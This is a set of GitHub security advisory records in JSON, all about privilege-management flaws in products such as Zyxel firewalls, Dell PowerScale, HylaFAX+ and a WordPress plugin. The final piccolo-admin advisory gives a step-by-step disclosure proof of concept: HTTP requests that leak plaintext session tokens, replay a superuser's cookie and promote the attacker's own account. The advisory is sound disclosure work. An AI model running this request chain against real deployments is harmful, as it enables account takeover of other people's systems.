CWE-269

{
  "affected": [],
  "aliases": [
    "CVE-2023-5650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T02:15:43Z",
    "severity": "MODERATE"
  },
  "details": "An improper privilege management vulnerability in the ZySH of the Zyxel ATP series firmware versions 4.32 through 5.37, USG FLEX series firmware versions 4.50 through 5.37, USG FLEX 50(W) series firmware versions 4.16 through 5.37, USG20(W)-VPN series firmware versions 4.16 through 5.37, and VPN series firmware versions 4.30 through 5.37, could allow an authenticated local attacker to modify the URL of the registration page in the web GUI of an affected device.",
  "id": "GHSA-2fmp-mw85-gxqw",
  "modified": "2023-11-28T03:30:22Z",
  "published": "2023-11-28T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5650"
    },
    {
      "type": "WEB",
      "url": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-firewalls-and-aps"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-45101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-01T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Dell PowerScale OneFS 9.0.0.x - 9.4.0.x, contains an Improper Handling of Insufficient Privileges vulnerability in NFS. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to information disclosure and remote execution.",
  "id": "GHSA-2fp9-fvcr-fj52",
  "modified": "2023-02-08T15:30:32Z",
  "published": "2023-02-01T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45101"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000206357/dell-emc-powerscale-onefs-security-updates-for-multiple-security-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-15397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-30T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "HylaFAX+ through 7.0.2 and HylaFAX Enterprise have scripts that execute binaries from directories writable by unprivileged users (e.g., locations under /var/spool/hylafax that are writable by the uucp account). This allows these users to execute code in the context of the user calling these binaries (often root).",
  "id": "GHSA-2fqh-mw2q-wr69",
  "modified": "2022-07-13T00:00:43Z",
  "published": "2022-05-24T17:22:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15397"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1173519"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/J52QFVREJWJ35YSEEDDRMZQ2LM2H2WE6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y46FOVJUS5SO44A2VEKR7DXEHTI4WK5L"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202007-06"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/hylafax/HylaFAX+/2534"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00039.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00040.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00054.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-17145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T22:17:13Z",
    "severity": "CRITICAL"
  },
  "details": "IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to execute arbitrary code due to improper privilege management.",
  "id": "GHSA-2fr6-wpcj-w435",
  "modified": "2026-08-21T00:31:20Z",
  "published": "2026-08-21T00:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17145"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7283858"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-16998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-11T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "DirectX Elevation of Privilege Vulnerability",
  "id": "GHSA-2fx8-gx73-p72f",
  "modified": "2023-12-31T21:30:24Z",
  "published": "2022-05-24T17:33:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16998"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16998"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-22023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-18T21:15:13Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle Solaris product of Oracle Systems (component: Device Driver Interface).   The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. Note: CVE-2023-22023 is equivalent to CVE-2023-31284. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-2g29-vvh2-xx4w",
  "modified": "2024-04-04T06:15:41Z",
  "published": "2023-07-18T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22023"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T12:15:15Z",
    "severity": "CRITICAL"
  },
  "details": "The WP RealEstate plugin for WordPress, used by the Homeo theme, is vulnerable to authentication bypass in all versions up to, and including, 1.6.26. This is due to insufficient role restrictions in the \u0027process_register\u0027 function. This makes it possible for unauthenticated attackers to register an account with the Administrator role.",
  "id": "GHSA-2g49-fr8w-j923",
  "modified": "2025-04-01T12:30:34Z",
  "published": "2025-04-01T12:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2237"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/homeo-real-estate-wordpress-theme/26372986#item-description__updates-history"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f7bff6-3bc3-4572-97fd-a039d54ac0ff?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-25062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-31T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on LG mobile devices with Android OS 9 and 10 software. LGTelephonyProvider allows a bypass of intended privilege restrictions. The LG ID is LVE-SMP-200017 (July 2020).",
  "id": "GHSA-2g6p-35qg-p778",
  "modified": "2022-05-24T17:27:03Z",
  "published": "2022-05-24T17:27:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25062"
    },
    {
      "type": "WEB",
      "url": "https://lgsecurity.lge.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-4210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-22T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A potential vulnerability in the SMI callback function used in the NVME driver in some Lenovo Desktop, ThinkStation, and ThinkEdge models may allow an attacker with local access and elevated privileges to execute arbitrary code.",
  "id": "GHSA-2gc6-xpq3-f7gm",
  "modified": "2022-05-11T00:02:09Z",
  "published": "2022-04-23T00:03:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4210"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-77639"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "piccolo-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:14:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user\u0027s live session token with one request, replay the token as their own `Cookie: id=\u2026`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` \u2014 the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` \u2014 the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john\u0027s `SUPERUSER` column is **\u2717**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed \u2014 the elevation is permanent on john\u0027s own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user\u0027s password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic \u2014 once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers \u2014 there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** \u2014 accessible over the network.\n- **AC:L** \u2014 single GET; no race or timing dependency.\n- **PR:L** \u2014 requires non-superuser admin credentials (the default admin role).\n- **UI:N** \u2014 no victim interaction needed.\n- **S:U** \u2014 scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** \u2014 full read, full write, full availability impact on the admin\u0027s data and on other users\u0027 sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I\u0027m happy to coordinate disclosure timing and validate any candidate patch.",
  "id": "GHSA-2gh4-jmwq-rr8w",
  "modified": "2026-08-28T18:14:13Z",
  "published": "2026-08-28T18:14:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piccolo-orm/piccolo_admin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/."
}